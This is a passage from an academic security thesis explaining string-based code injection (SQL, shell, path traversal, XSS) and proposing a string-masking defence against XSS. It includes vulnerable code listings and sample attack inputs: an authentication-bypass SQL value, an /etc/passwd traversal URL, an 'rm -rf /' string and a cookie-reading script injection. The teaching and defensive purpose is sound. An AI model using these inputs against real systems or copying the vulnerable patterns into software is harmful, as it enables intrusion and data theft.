Dynamic assembly of foreign code

In most cases, an application assembles foreign code exclusively using the native lan-
guage’s string datatype. For this purpose, during execution static string constants and
dynamic obtained data values are combined through string concatenation.
The native language’s interpreter processes all these strings and passes them on to
their respective destinations (see Listing 10.1).
1 // foreign HTML code
2 String url = getURLData ();
3 String hyperlink = " < a href = ’" + url + " ’ > go </ a >";
4 writer . println ( hyperlink );
5
6 // foreign SQL code
7 String userID = getUID ();
8 String sql = " SELECT * FROM users ";
9 sql = sql + " WHERE UID = " + userID ;
10 con . execute ( sql );

Listing 10.1: Examples of foreign code assembly

Location of foreign code

Applications can include foreign code from different origins. Often foreign code is di-
rectly included in the application’s source code. In this case, the foreign code is kept in
static string constants. Furthermore, the application can obtain foreign code on runtime

142
 10.2. String-based code injection vulnerabilities

from external data sources like databases or the filesystem, an example being prede-
fined HTML templates. In these cases the interpreter reads the foreign code into string
variables.

10.2. String-based code injection vulnerabilities

10.2.1. Vulnerability class definition
String-based injection vulnerabilities are programming errors which result in inclusion of
insufficiently sanitized, user-controlled data in dynamically assembled foreign code. Such
errors enable an attacker to manipulate the syntactic content of a foreign code expression.
Hence, successful string-based code injection enables the attacker to initiate actions with
the capabilities and privileges of the attacked interpreter, such as altering the content
of a web page through injection of HTML code or executing arbitrary commands on a
database via injecting SQL syntax.

Definition 10.2 (String-based code injection) Under the term String-based Code
Injection we subsume all injection vulnerabilities which fulfill two criteria:

1. They occur due to dynamic assembly of foreign code using the native language’s
string type and

2. they allow the attacker to alter the semantics of the attacked foreign code state-
ment through alteration of syntactic content, such as language keywords or meta-
characters.

10.2.2. Specific subtypes

Within the general class of string-based code injection vulnerabilities several subtypes
have been identified and documented. The Web Application Security Consortium’s
threat classification [271] lists the following vulnerability classes which satisfy Defini-
tion 10.2:

• XSS / HTML injection: As motivated in Section 2 and clarified in Defini-

tions 2.1 and 2.2, we differentiate between XSS and HTML injection. In the case
of HTML injection the attacker is able to add arbitrary HTML markup to the
attacked web page without the ability to inject active content, such as JavaScript.
Using HTML injection the adversary can, e.g., initiate phishing attacks [105], dis-
tribute false information under the identity of the attacked site [229], or commit
fraudulent search engine optimization [111].
XSS which is caused by insecure programming (see Sec. 2.1.1) belongs to the gen-
eral class of string-based code injection flaws, as discussed before. The adversary
exploits defective, dynamic construction of HTML or JavaScript code to include
malicious JavaScript code (see Part I of this thesis).

143
10. The Foundation of String-based Code Injection Flaws

• SQL injection (SQLi): In the case of SQL injection [8, 77], the attacker is able to
maliciously manipulate SQL queries that are passed to the application’s database
(see Figures 10.2.A to 10.2.C). By adding attacker-controlled SQL commands,
this flaw can lead to, e.g., unauthorized access, data manipulation, or information
disclosure.
• Command injection: Some applications dynamically create executable code in
either the native language (to be interpreted with commands like eval()) or as
input to a different server side interpreter (e.g., the shell, see Listing 10.2). In
such cases, carelessly included dynamic data might enable the attacker to execute
arbitrary commands on the attacked server with the privileges of the vulnerable
application.
This class of injection vulnerabilities is also known under domain specific names
such as “PHP injection”, “ASP injection”, or “shell injection”.
1 // the content of $email is controlled by the attacker
2 $handle = popen ("/ usr / bin / mail $email ");
3 fputs ( $handle , ...); # write the message

Listing 10.2: Example of shell injection [210]

• Path traversal: Path traversal [272] is a special variant within the class of injec-
tion flaws. Instead injecting syntactic content consisting of language keywords, the
adversary injects meta-characters (such as ../) into file-system path information.
This enables the attacker to break out of the application’s allowed data directories,
so that he can access arbitrary files of the filesystem (see Listing 10.3).
This attack is also known as “dot-dot-slash”, “directory traversal”, “directory
climbing”, and “backtracking”.
1 <? php
2 // Exploitable by accessing
3 // http :// vic . org / vul . php ? template =../../../../ etc / passwd
4
5 $template = ’ blue . php ’;
6 if ( is_set ( $_GET [ ’ template ’] ) )
7 $template = $_GET [ ’ template ’];
8 include ( "/ home / users / victim / templates /" . $template );
9 ?>

Listing 10.3: Example of a path traversal vulnerability [204]

• Further types: Regardless of the actual languages or coding schemes, whenever

computer code is dynamically assembled using the string data type, this process
can be susceptible to injection attacks. In addition to the above discussed variants,
[271] also lists:

– LDAP injection [67]

– SSI injection [9]
– XPath injection [152]

We omit a detailed discussion of these vulnerability types for brevity reasons.

144
 10.3. Analysis of the vulnerability class

10.3. Analysis of the vulnerability class

As we will show in this section, the fundamental reasons that lead to the existence of
string-based code injection flaws are twofold:

1. The data/code confusion due to ad-hoc foreign code assembly using the string
datatype (see Sec. 10.3.1) and

2. the direct, unmediated interfaces between the native language’s runtime and the
foreign interpreters (see Sec. 10.3.2).

Please note: Throughout this chapter we occasionally use SQL syntax because of
SQL’s comparatively expressive syntax which allows the construction of short meaningful
code. However, the discussed topics are applicable for any given computer language.

10.3.1. Data and code confusion

Most code injection vulnerabilities arise due to a misconception of the programmer in
respect to the data/code-semantics of the assembled syntax. Note that in this initial anal-
ysis we utilize ad-hoc notions of the terms data and code. We will refine our definitions
of the terms in Section 10.4.1.
For example, take a dynamically constructed SQL-statement (see Fig. 10.2.A). The
application’s programmer probably considered the constant part of the string assembly
to be the code-portion of the statement while the concatenated variable was supposed to
add dynamically data-information to the query. However, the database’s parser simply
parses the provided string according to the foreign language’s grammar. The parser’s
implicit data/code mapping is directly derived from the language’s grammar (see Sec.
10.4) and differs significantly from the programmer’s perception (see Fig. 10.2.B). Thus,
an attacker can exploit this discord in the respective views of the assembled code by
providing data-information that is interpreted by the parser to consist partly of code
(see Fig. 10.2.C).
In general all string values that are provided by an application’s user on runtime should
be treated purely as data and should never be executed. But in most cases the native
language does not provide a mechanism to explicitly generate foreign code. For this
reason all foreign code is generated implicitly by string-concatenation and -serialization.
Thus, the native language has no means to differentiate between user-provided dynamic
data and programmer-provided foreign code (see Fig. 10.2.D).
Therefore, it is the programmer’s duty to make sure that all dynamically added data
will not be parsed as code by the external interpreter. Consequently, if a flaw in the
application’s logic allows an inclusion of arbitrary data into a string segment that is
passed as foreign code to an external entity, an attacker can succeed in injecting malicious
code.

145
 Code injection attacks (V): The DB’s view

10. The Foundation of String-based Code Injection Flaws

$pass = $_GET[“password”];

$sql = “SELECT * FROM Users WHERE Passwd = ‘” + $pass + “’”;

Code injection
Code attacks (V): The DB’s view Data
A. The programmer’s view on code assembly

$pass = $_GET[“password”];

$sql = “SELECT * FROM Users WHERE Passwd = ‘mycatiscalled’”;

! Martin Johns, UH, FB Inf, SVS, 16.12.2005 3

Code injection
Code attacks (V): The Data
DB’s view Data
B. The DB’s view

$pass = $_GET[“password”];

$sql = “SELECT * FROM Users WHERE Passwd = ‘ ’ OR ‘1’=‘1’”;

! Martin Johns, UH, FB Inf, SVS, 16.12.2005 5

Code injection
Code attacks (V): The Data
DB’s view Code
C. The DB’s view (code injection)

$pass = $_GET[“password”];

$sql = “SELECT * FROM Users WHERE Passwd = ‘” + $pass + “’”;

! Martin Johns, UH, FB Inf, SVS, 16.12.2005 6

String String String

D. The native language’s view

Figure 10.2.: Mismatching views on code

10.3.2. Foreign code communication through unmediated interfaces

! Martin Johns, UH, FB Inf, SVS, 16.12.2005 7

The second fundamental reason for the existence of string-based code injection vulnera-
bilities is the common practice of coupling heterogeneous systems using direct, “dumb”
interfaces. Such interfaces act as a simple pass-through device which transmits all infor-
mation from the native to the foreign context without further processing or mediation.
To interact with the foreign entity via such an interface, the instructions regarding the
targeted action is encoded in the foreign syntax which in turn is sent to the receiving

146
 10.4. Towards mapping data/code to string-based code assembly
Vision

PHP, Java, ASP, etc. ?

Programming Programming
Language Language

HTML / JS
Abstraction Layer

SQL

e.g., bash
(Application Server)

XML
Web Web
Database Database
Browser Browser

External Web External Web

Interpreters Services Interpreters Services

! Martin Johns, UH, FB Inf, SVS, 16.12.2005 11

Figure 10.3.: Unmediated interfaces

system (see Fig. 10.3). Then, the foreign entity parses and interprets the received foreign
code.
Such interfaces can be realized for instance through: Call level interfaces, such as
Open Database Connectivity (ODBC) [110] which provides the native language’s run-
time with a SQL-based communication channel to the database, network protocols, such
as HTTP and SMTP, or, raw I/O streams, e.g. provided by functions such as open().
Alternative approaches to such interfaces for coupling heterogeneous systems are for
instance CORBA [199] or Java RMI [249], both providing an interface on the API-level
of abstraction. This means, that in such systems all messages and actions which are
directed at the foreign entity are created via native API calls. Such interfaces are less
flexible, as every single action/message has to be implemented explicitly, but they are
not susceptible to data/code confusion.
However, compared to direct interfaces, these approaches failed to achieve wide adop-
tion in practise, mainly due to their inherent inflexibility and inability to model the
specifics of the targeted foreign entity. For instance, the composition of mark-up doc-
uments, such as HTML, using an API-level method (e.g., by utilizing the DOM API
[102]) is cumbersome, error-prone, and hard to maintain.

10.4. Towards mapping data/code to string-based code

assembly
As discussed in Section 10.3.1 all string-based code injection flaws are rooted in an un-
derlying confusion between data and code. In order to analyze this general observation it
is necessary to clearly define the terms data and code in respect to foreign code assembly.
More precisely, to be able to map the concepts of data and code to foreign syntax it
is required

1. to identify the set of basic language elements of a given foreign language

147
10. The Foundation of String-based Code Injection Flaws

2. and to classify these individual elements to be either data- or code-elements in the

context of a given foreign syntax statement.

The outcome of both tasks depend heavily on the specifics of a given foreign language.
Furthermore, as our initial definition of the term foreign language (see Definition 10.1)
is broad and inclusive, it is necessary to differentiate between different sub-classes of
languages.

Example: Before we introduce our method for systematical classification of language-

elements in the following section, we motivate our approach by analysing a selected
foreign code statement. Take the following foreign SQL statement:
1 sqlString = " SELECT * FROM users WHERE id = ’001 ’";

The elements of the statement which represent static language keywords, such as
SELECT or WHERE, can be clearly identified to account for code-elements. Also, the clas-
sification of the integer-literal 001 as data is straight forward. Furthermore, the state-
ment’s punctuator-elements (*, =, and ’) fulfill the same syntactical purpose as static
language keywords. Hence, they also should be classified as code.
However, the assignments of the remaining elements is not as obvious. The table-name
users and the row-name id are not static properties of the foreign language. Instead they
are identifier-elements with dynamic values. Therefore, this dynamic nature suggests a
classification as data-elements. On the other hand, during the execution of the native
application, the database-layout is constant. Thus, within a given native application’s
source code, the table-names are static. Furthermore, the ability to alter such identifier-
elements might enable the attacker towards elevating his privileges. For example, if he
would be able to control the table-name in a vulnerable statement assembly, he might
be able to exchange users with admins. For this reason, to prevent string-based code
injection attacks on this language class, database identifiers have to be classifies as code-
elements.

Note: As illustrated in the example, the data/code classification which we propose in

the remainder of this chapter is positioned exclusively on a pure syntactical level. It
is completely based on analysing the foreign syntax which is statically included in the
native application’s source code. Attempting to create such a classification on a higher
semantic level is infeasible, as most programming languages provide means to blur the
lines between data and code. For example the JavaScript instruction eval(STRING),
takes a string-typed argument (i.e., data) and executes it as JavaScript (i.e., as code).

10.4.1. Data/Code classification of language elements

As we discussed above in the SQL example, mapping individual language elements to be
either data or code is not necessarily straight forward. For this reason, in this section
we propose a set of concepts which aid the systematic assignment of language elements
into the categories data and code.

148
 10.4. Towards mapping data/code to string-based code assembly

For this purpose, we have to refine the definitions of the terms data and code in respect
to foreign language syntax. The here proposed mapping was constructed exclusively
in respect to the capabilities of an adversary to maliciously alter the semantics of a
dynamically assembled foreign code statement via code injection attacks. Therefore, we
followed four basic premises:

• The application dynamically assembles code statements in the foreign syntax.

• A given code statement consists of a sequence of code- and data-elements.
• Furthermore, code statements have the purpose to specify actions (e.g., compute,
structure, display, or reference) in respect to the values of the statement’s data-
elements.
• The capability to control data-elements should not grant the adversary any privi-
leges to alter these actions.

First, we introduce two basic notions: Syntactic structure and basic semantic pattern.
Both concepts have the purpose to provide a systematic rationale for dividing the set of
language elements into the data/code classes.
When a foreign code statement is parsed, a direct result of the parsing process is the
statement’s abstract syntax tree (AST). An AST is a a tree-like data-structure which
is built by recognising and aligning the statement’s tokens according to the language’s
formal grammar. Su and Wasserman observed in [248] that a successful injection of
language elements alters the attacked statement’s AST. In the same context Pietraszek
and Berghe talk about injection of “syntactic content [...which...] influences the form or
structure of an expression” [210]. Based on these observations, we define:

Definition 10.3 (Syntactic structure) Two foreign code statements that produce the
same AST if processed by the same parser are said to share the same syntactic structure.

Su and Wasserman’s concept is well fitted for most string-based injection scenarios
which rely on adding additional syntactic elements, thus altering the attacked state-
ment’s syntactic structure. However, malicious alteration of a statement has does not
necessarily change the statement’s syntactic structure: E.g., if the attacker is able to
exchange the name of identifiers which are used in the statement, such as variable- or
function-names, the statement’s actions can be redirected without changing the state-
ment’s syntactic structure.
Consequently, we have to introduce a second concept that abstracts semantic aspects of
the statement: the basic semantic pattern (BSP). A foreign code statement’s BSP defines
the specifics of the statement’s actions without considering the statement’s actual values.
Such actions are defined by two distinct characteristics – the set of possible control-flows
that may result from the statement’s code and the corresponding data-flows.

Definition 10.4 (Basic semantic pattern (BSP)) The set of all value-independent
control- and data-flows which are directly connected to a code statement’s targeted actions
constitute the statement’s basic semantic pattern (BSP).

149
10. The Foundation of String-based Code Injection Flaws

A statement’s BSP can be regarded as a blueprint: It defines the “how” and “where”
of the actions that are targeted at the statement’s values (which in turn determine the
“what”). Depending on the specific foreign language, such actions can be for instance
compute (general purpose or query languages), structure (mark-up or query languages),
display (mark-up languages), or reference (query languages, mark-up languages, or gen-
eral coding schemes).

Example: Take the statement var x = 2 + 4;. While the statement’s specific seman-
tic is add the numbers 2 and 4 and store the result in x, the statement’s BSP is only
add two numbers and store the result in x. Therefore, the statement var x = 200 +
123; has the same BSP. However the BSP of the statement var y = 2 + 4; differs
as the targeted location of the computation’s result is different. To further clarify this
notion, here are some additional examples: The BSP of a given foreign code statement
determines for instance: In which variable a result should be written (data-flow), which
function should be used for the computation (control-flow), which display-class a certain
HTML element belongs to (control-flow of the corresponding rendering process), or from
which table a given SQL statement should obtain the requested values (data-flow).
Using the above stated premises and the given definitions, we are now able to formulate
our definitions of data and code. We start with the definition of code-elements:

Definition 10.5 (Code-element) Given a single element of a foreign code statement.

If changing the value of the element results in changes in either the statement’s syntactic
structure or BSP, we classify this element to be a code-element.

And accordingly we define data-elements:

Definition 10.6 (Data-element) Given a single element of a foreign code statement.

If changing the value of the element leaves both the statement’s syntactic structure and
BSP unchanged, we classify this element to be a data-element.

A data-element may influence a specific control-flow, for instance because of its usage
in a conditional clause. However, according to Definition 10.4 the statement’s BSP
consists of all potential, value-independent control-flows which include both forks of the
conditional.

10.4.2. Analysis of selected foreign languages

In this section, we analyse three selected language families: General purpose program-
ming languages, mark-up languages, and resource-locators. For this purpose, we iden-
tify the respective language elements and deduct a data/code-mapping according to the
methodology described above.
Language specifications range from informal definition through ad-hoc compiler/in-
terpreter implementation, e.g. in the case of Perl, to complete formal definition of the
language’s syntax and semantics, e.g. the Z-language. In this section we identify the

150
 10.4. Towards mapping data/code to string-based code assembly

basic key-elements of selected foreign-language families. Due to the heterogeneous na-

ture of language specifications the here proposed element-classification is of generalizing
nature. Thus, for a given foreign language, the actual language elements might differ
slightly from the following descriptions. Syntactic elements that do not add seman-
tic contents to a given foreign code statement, such as comments, are left out in the
remainder of this section for brevity.

General purpose programming and query languages

In the context of this language family, the specifics how a foreign-code statement is inter-
preted by the language’s run-time is determined by the corresponding parsing process.
The parser’s lexer dissects the statement into single tokens according to the language’s
grammar. Such tokens are the basic building blocks of every program. Consequently,
we decided to establish the set of basic language elements on token-level granularity.
A language’s defined tokens can be partitioned into several general token-types. These
token-types include keywords, identifiers, numbers, literals, and various symbols [236].
For instance, the Pascal programming language has 64 kinds of tokens, including 21
symbols (+,-,;,:=, . . . , etc.), integers (e.g., 1337), floating-point numbers, quoted char-
acter/string literals (e.g., ’foo’) and identifiers (either predefined, the language’s key-
words, or dynamic, e.g., variable and function names).
In the cases of most general purpose programming languages and many special domain
languages (such as SQL) we can divide this set of token-types into four basic element-
classes:

• Keywords-tokens: Predefined static character sequences which constitute the

set of reserved language keywords (e.g., if, while, or return).

• Symbol-tokens: Non-alphanumeric character sequences with special syntactic

purpose (e.g., ., :=, ==, [, ], (, ), -, +, $, ", or *).

• Identifier-tokens: Character sequences which are subject to certain syntactic

restrictions. Identifiers are utilized to name dynamic language entities such as
variables or functions.
For example, Java identifiers are unlimited-length sequences of letters and digits,
the first of which must be a letter. A Java identifier cannot have the same spelling
as a keyword, boolean literal, or the null literal [82].

• Literal-tokens: A literal is the source code representation of a value of a primitive

type (such as boolean, integer, or floating point value), the String type, or the null
type [82].

These language elements can be assigned to the date/code classes as follows: For
one, we classify all token-types which are part of the language’s grammar in the form of
static syntactic elements, namely the keyword-tokens and the symbol-tokens, to be code.
Modification of such a token within a statement will result in changes in the statements

151
10. The Foundation of String-based Code Injection Flaws

syntactic structure. Also, such an alteration will change in most cases the BSP of the
statement.
Furthermore, we classify the set of identifier-tokens to be code. While changing an
identifier will not necessarily change a statement’s syntactic structure, it will in any case
affect the statement’s BSP.
The remaining token-type, the literal-tokens, account for the respective language’s
data-elements.

Mark-up languages

In this thesis, we focus on mark-up languages that belong to the SGML-family, such as
HTML and XML-based languages. Such languages were initially exclusively specified
using Document Type Definitions (DTD) [26]. The specifics of SGML and XML DTDs
differ slightly. This thesis utilizes the XML variant.
As stated in Definition 10.1, we assume that a foreign language’s syntax is completely
defined by a formal grammar. For this reason, we briefly examine the corresponding
properties of DTDs: A DTD is specified using a formal syntax closely related to the
extended Backus-Naur form (the “DTD language”). Unlike the extended Backus-Naur
form, DTDs allow exceptions within the right-hand side of production rules. However,
Kilpeläinen and Wood have proven in [146] that such exceptions do not increase the
expressiveness of the specification language over DTDs without exceptions and, thus,
a structurally equivalent extended context-free grammar can be obtained. In turn, Ex-
tended context-free grammars are context-free grammars which allow regular expressions
over terminals and non-terminals on the right-hand sides of production rules using the
operators ∪, ∗ and concatenation. Madsen and Kristensen have proven in [174] that
every extended context-free grammar can be translated in an equivalent context-free
variant. Consequently, the family of languages definable with DTDs is a subset of the
class of context-free languages [20] and for a given DTD a corresponding context-free
grammar exists.
Following the introduction of DTDs, several alternative specification languages for
defining XML languages have been proposed, such as XML Schema [66] or Relax NG [40].
While being more expressive and powerful as DTDs, the class of languages that can be
defined by these specification languages remains within the class of context-free languages
[195]. Furthermore, as these specification schemes do not add new basic language-
elements, it is sufficient to concentrate on DTDs in the context of this thesis.
A given DTD specification consists of the following basic language-elements [26]:

• Entities references: Entities are predefined character-sequences or static exter-

nal entities. Defined entities can be referenced within an XML-document using
the &...;-syntax.
More precisely, an entity in XML is a named body of data, usually text. Entities
are often used to represent single characters that cannot easily be entered on the
keyboard; they are also used to represent pieces of standard (”boilerplate”) text

152
 10.4. Towards mapping data/code to string-based code assembly

that occur in many documents, especially if there is a need to allow such text to
be changed in one place only.
Example [26]:
1 <! ENTITY Pub - Status " This is a pre - release of the specification ." >

This entity can be references within an XML document via &Pub-status;

Entity definitions are also utilized for later use in further DTD rules. However,
such entities cannot be used within an actual XML document.
Example [117]:
1 <! ENTITY % Script " CDATA " -- script expression -->

• Tags: Tags are the basic building blocks of XML/SGML documents. The individ-
ual tag-types are specified in the DTD by Element-definitions . For each tag-type
the following properties are determined by the element definition:

– Name of the element (e.g. “body”).

– Types of allowed children: List of tag-types and/or #PCDATA (specifies textual
data that is not to be interpreted as mark-up code).

Example [117]:
1 <! ELEMENT SCRIPT - - % Script ; -- script statements -->

For a given language, the list of allowed elements is predefined and static.

• Attributes: For a given tag-type a list of permitted attributes is given. For each
attribute the following properties are determined by the definition:
Each element of this list is composed of two sub-elements:

– Attribute-name: The name of the attribute.

– Attribute-value: The specifics of the attribute’s value, i.e., number, identifier,
URL, part of a predefined value-set, or general data (CDATA).

Example [117]:
1 <! ATTLIST SCRIPT
2 charset % Charset ; # IMPLIED -- char encoding of linked resource --
3 type % ContentType ; # REQUIRED -- content type of script language --
4 src % URI ; # IMPLIED -- URI for an external script --
5 defer ( defer ) # IMPLIED -- UA may defer execution of script --
6 event CDATA # IMPLIED -- reserved for possible future use --
7 for % URI ; # IMPLIED -- reserved for possible future use --
8 >

For a given language, the set of allowed attributes for the individual elements is
predefined and static.

153
10. The Foundation of String-based Code Injection Flaws

Language Category Code Data

Programming languages Keyword-tokens Literal-tokens
Symbol-tokens
Identifier-tokens
Mark-up languages Elements Textual values (#PCDATA)
Attribute-names Entities-references
Attribute-values (in general) Attribute-values (specific)
Resource-locators Meta-characters Identifiers

Table 10.1.: Mapping of language elements to data/code

In the class of XML-based mark-up languages we propose the following data/code-

mapping: All predefined non-content elements, such as tags, attribute-names are classi-
fied as code. General textual literals (#PCDATA) and in this text included entity references
are classified as data.
Within the sub-type of attribute-values a specific distinction has to be made depending
on the specific characteristics of the actual XML dialect. In the majority of the cases, the
value of an attribute-value affects the BSP of the XML statement. Therefore, attribute-
values should be classified as code. However, in certain cases exceptions to this rule exist:
For instance, for HTML’s img-tag a src-attribute is defined which specifies the URL of
the referenced image. In this context, changing the URL would neither affect the tags
syntactic structure nor its BSP (“display an image”). Therefore, the attribute-value of
this attribute is in fact a data-element.

Resource-locators
As specified in Definition 10.1 we include general coding-schemes, such as UNIX path-
specifications or URLs, into the class of foreign languages as long as they adhere to
a predefined formal grammar and are utilized on run-time through string-based code
assembly.
Resource-locators are composed of two basic element types:

• Identifiers: Values that represent the names of the actual entities or specifications
that are utilized to determine the location of the referenced resource.
The values of identifiers can either be:

– Elements of a fixed, predefined set of legal values (such as drive-name-letters

in Windows-paths or protocol-names in URLs).
– Character-sequences (e.g. usr or etc) which are subject to certain syntactic
restrictions (e.g., no whitespace).

• Meta-characters: The meta-characters, such as /, #, or .., provide the syn-

tactic elements of the coding scheme. They compose the identifiers together in a
predefined fashion.

154
 10.4. Towards mapping data/code to string-based code assembly

In this specific language class, the data/code-mapping is only depended on a state-

ment’s syntactic structure, as all resource-locators share the same BSP (“reference a
resource”). Therefore, meta-characters account for the code-elements, as they deter-
mine the statements syntactic structure, while the identifiers provide the data-elements.

155
10. The Foundation of String-based Code Injection Flaws

156
11. Identification of Data/Code Confusion
In the last chapter we showed how to divide the syntactic elements of computer languages
into the classes of data- or code-elements. Based on this element-classification, in this
chapter we explore a methodology to transparently identify such data- and code-elements
in dynamically assembled foreign code in order to detect code injection attempts. This
is done by applying string masks to all legitimate foreign code-elements before potential
hostile input is processed.
We discus our approach and show how to implement it for the foreign languages HTML
and JavaScript in order to counter XSS attacks. Using a practical implementation for a
PHP-based application server, we evaluate our approach’s protection capabilities. The
proposed methodology and the evaluation were originally published in [129].

11.1. Motivation
As described in Sections 10.2 to 10.4 many insecurities in today’s applications are rooted
in confusing data and code during foreign code assembly. The solution proposed in this
chapter addresses this problem by detecting code-elements in dynamically assembled
foreign syntax which have been injected by the attacker.
We we aim to implement our approach in a way that changes neither the syntax
or semantics of the native language nor the practice of string-based code assembly.
This objective enables an implementation which is backwards-compatible with existing
applications.
Please note: In this chapter, we utilize the terminology and scenarios from the web
application paradigm because our implementation and evaluation targets (the PHP ap-
plication server and the class of XSS flaws) are both specific for web applications. How-
ever, the proposed approach is not limited to web applications but can be employed for
general applications which assemble foreign code through strings.

11.2. Concept overview

11.2.1. General approach
Our proposed method is based on the following assumption: All general semantics of
foreign code are completely defined in the application’s source code and static data
sources. Dynamically obtained information, like user input, is only used to add data
values to the predefined code-elements. In other words: User input never contains
actual code and all legitimate foreign code-elements are static parts of the application.

157
11. Identification of Data/Code Confusion

Consequently, our approach works as follows. Before program execution, all foreign
code-elements which are contained in the applications static strings are identified and
uniquely marked. After this step, the application is executed as usual. Whenever foreign
syntax is sent to an external interpreter, this sending-process is intercepted. Before
passing the syntax to the external entity, we verify that all encountered code-elements
have been identified and marked in the pre-execution step. All code-elements that cannot
be recognised to be static part of the application are considered to be injected and
neutralized.

11.2.2. Decidability of dynamic identification of data/code-elements

Enforcing our outlined approach requires an identification of all foreign code-elements
which are static part of the application. However, whether the content of a given string
variable really contains foreign code-elements which will be interpreted by an external
entity cannot be inferred from the value of the string. Instead, the nature of the string’s
value is solely determined on runtime through the string’s usage.
In general it is undecidable if a given string constant will be executed as foreign code in
a given environment. As a full formal proof of this claim is out of the scope of this thesis,
we provide a sketch of this proof which is a variant of Rice’s theorem [219]: Suppose
there is an algorithm A(C, I) that returns true if given an input I a program C uses its
first string constant for code execution. Then we could build a program P that includes
A, which contradicts the initial hypothesis:

P (I) = {
string s = ’rm -rf /’
if (A(I, I) == false)
execute(s);
else
print(s);
}

If we now run P (P ), a call to P with its own source code as input, a contradiction is
triggered: If A decides that P will not execute s, s gets executed by P and if A decides
that s will be executed by P , P merely prints s and exits.
As the general problem to decide if a given string constant will be executed in a given
situation (and therefore contains code) is undecidable, we have to approximate a solution.
We choose an over-approximation approach. In this context over-approximation results
in an algorithm that identifies all strings that will be executed. However such an over-
approximating algorithm may also falsely classify some general data as foreign code.

11.2.3. Identifying data/code confusion using string masking

In this section we outline our approach towards approximative data/code identification.
As web applications handle foreign code and generic data in strings, there are no syntactic

158
 11.2. Concept overview

means to differentiate between these two classes during program execution. For this
reason, we propose string masking, a method that enables our technique to syntactically
mark foreign code-elements in strings without changing the native language’s string type.

Legal and illegal code

As already motivated, our proposed approach is based on the general assumption that
all foreign code is static part of the application. Thus, foreign language elements that are
dynamically received during execution represent exclusively foreign data. This assump-
tion leads us to the following definition: All foreign code-elements that are part of the
application before the processing of an HTTP request are legal. More precisely: Legal
foreign code is either part of the application’s source code or contained in specific trusted
data sources like database tables or files. Only this foreign code is allowed to be exe-
cuted or included in the application’s web pages. Accordingly, all foreign code-elements
that are added dynamically to the application in the course of program execution are
potentially malicious and should be neutralized. These code-elements are from here on
denoted as illegal code. Please note an important distinction in this matter: This defini-
tion does solely apply to actual code-elements and not to data-elements that have been
added to preexisting legal code.

Example 1 (illegal code): An application contains the following predefined SQL in-
struction:
1 $sql = " SELECT * FROM USERS WHERE ID = $id and PASS = ’$pw ’";

The variables $id and $pw are placeholders for dynamic data-elements representing
the ID and password of a user. If the application uses the values 42 and foo to complete
the SQL statement, the resulting code looks like this:
1 " SELECT * FROM USERS WHERE ID = 42 and PASS = ’ foo ’"

The statement still solely contains legal code, as only data-elements have been added
on runtime. But if an attacker can figure out a way to pass arbitrary values to ei-
ther variable, the application is vulnerable to SQL-injection. In this case the attacker
can pass the string “bar’ OR ’1’ = ’1” as value for $pw to bypass the application’s
authentication mechanism. Then the resulting SQL string would look like the following:
1 " SELECT * FROM USERS WHERE ID = 42 and PASS = ’ bar ’ OR ’1 ’ = ’1 ’"

The signifiers “OR” and “=” represent code-elements. As these code-elements have en-
tered the application on runtime, they are classified as illegal.
Note: In the following paragraphs we describe our technique solely in respect to
JavaScript and countering XSS attacks. This is done to avoid unnecessary complex
descriptions. The technique itself is not limited to XSS but applicable to counter various
injection attacks. See Section 11.3.4 for details on that matter.

159
11. Identification of Data/Code Confusion

Figure 11.1.: Schematic view of the processes

Security pre- and post-processor

As shown in Section 10.1, foreign code is embedded in web applications either as part
of string constants or kept in external data sources. We introduce a pre- and a post-
processor to detect illegal code-elements. For every string constant the preprocessor
enforces a syntactic separation between data-elements and code-elements by masking
certain parts of the string. After the processing of an HTTP request, the post-processor
detects and neutralizes illegal code-elements. Furthermore, the post-processor removes
the masks that were applied by the pre-processor.

Masking legal code

Before processing the HTTP request, all foreign code is masked to enable identification
of legal code-elements in the course of processing the request. Due to the backwards-
compatible nature of our approach we cannot fully utilize the data/code-classification
of language elements which has be discussed in Section 10.4. A given application’s
set of utilized foreign identifiers, such as variable- and function-names, is dynamic and
unknown to our pre-processor. Therefore, only code-elements which are statically defined
in the foreign language’s grammar are detectable. Thus, to find legal code-elements in
the application’s strings a set of language keywords is used.
The pre-processor examines every string constant that is part of the application’s
source code whether it contains any of the specified keywords. If such a keyword was
found, the keyword is replaced with a code mask. This mask is a per-request random
token representing the found keyword. If this keyword is found more than once, it is
always replaced by the same token. The masking is done on the first initialization of the
string constant. Furthermore, all server side input, that has been specified to contain
legal code, is filtered accordingly: All found keywords are replaced by per-request code
masks. This way it is ensured that all legal foreign code-elements are masked before
they enter the application. The pre-processor stores the pairs consisting of the original
keywords and the per-request masks in a table to enable the reverse transition later on.
A set of keywords has to be chosen to counter the projected attacks. To counter XSS
attacks our keyword list consists of reserved HTML signifier, HTML attributes, reserved
JavaScript words and names of global JavaScript/DOM objects (see Table 11.1).

160
 11.2. Concept overview

Language Keywords
– All reserved HTML tag names with more
than two characters
HTML e.g., html, head, body, script
– All predefined HTML attributes
e.g., href, src, onload, onmouseover
– All reserved JavaScript words
e.g., for, while, try, eval
JavaScript – Selected DOM signifiers
e.g., document, children, getElementById
– Names of global JavaScript objects
e.g., window, location

Table 11.1.: Used keywords

Detecting and encoding illegal code

The post-processor searches for foreign code-elements before the resulting HTML data
is sent to the browser. This is done using the same keyword list as the pre-processor. As
all legal code-elements have been masked, all foreign code-elements that can be found
are either illegal or not code at all. In the latter case the suspicious element is actually
textual data that matches code keywords, e.g., a forum post discussing JavaScript issues.
The post-processor encodes all found code-elements using HTML entities.

Reversing the code masking

After all illegal code-elements have been encoded, the final processing step is applied.
The post-processor examines the HTML in the web server’s output buffer and uses
the mapping between code keywords and random tokens to reverse the pre-processors
actions. All previously masked code-elements are restored before sending the HTTP
response to the user’s browser.

Example 2 (masking): An application contains the instruction:

1 echo " < a href = ’ user . php ’ > You </ a >
2 searched for $term .";

If the variable $term is not sanitized by the application, this would be a classical
example for a XSS vulnerability. The pre-processor identifies the code-element href and
applies an one-time mask (the code-element a is not masked due to the chosen keyword
list, see Table 11.1):
1 echo " < a _x2sgth_ = ’ user . pl ’ > You </ a > searched for $term .";

If a malicious user would try to exploit the XSS vulnerability by passing JavaScript code
to $term, the output buffer may look like:
1 <a _x2sgth_ = ’ user . pl ’ > You </ a > searched for < script > var a = document . cookie ...

161
11. Identification of Data/Code Confusion

Before sending the resulting web page to the web browser, the post-processor scans the
output buffer for keywords again. Thus, he finds the injected code-elements. These
elements are encoded using HTML entities:
1 <a _x2sgth_ = ’ user . pl ’ > You </ a > searched for <&#115;&#099;&#114;...

This encoding disarms the illegal code, as it is no longer recognized as HTML or

JavaScript by the web browser, thus neutralizing it effectively. After all illegal code-
